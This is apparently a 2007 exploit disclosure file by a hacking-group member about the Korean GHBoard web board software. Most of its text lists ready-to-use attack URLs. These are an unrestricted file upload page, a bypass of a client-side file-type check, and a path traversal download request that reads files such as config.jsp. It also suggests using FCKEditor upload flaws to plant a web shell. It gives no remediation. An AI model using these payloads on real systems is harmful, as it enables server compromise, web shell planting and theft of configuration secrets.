koreanghboard-multi.txt
Posted on 24 October 2007
Software : Korean GHBoard Site : http://www.ghlab.com/ Found by : Xcross87 1. File Upload Vulnerability Xploit : victim.com/ghboard/component/upload.jsp 2. FlashUpload component File Upload and File Download Vulnerability Upload Xploit : victim.com/ghboard/component/flashupload/upload.html Not allow upload php,jsp,html But attacker can download source and remove javascript code which check for file type and upload easily. Uploaded file is located in : victim.com/ghboard/component/flashupload/data/upload_filename.xxx Download Xploit : You can download any file from server : victim.com/ghboard/component/flashupload/download.jsp?name=[file_name] Sample : victim.com/ghboard/component/flashupload/download.jsp?name=../config.jsp 3. FCK Inclusion : All version of GHBoard includes FCKEditor package so attacker can use upload vulz of FCKEditor to up shell to server. === Xcross87 | HCETeam Xploiter | HCEGroup.Vn ===
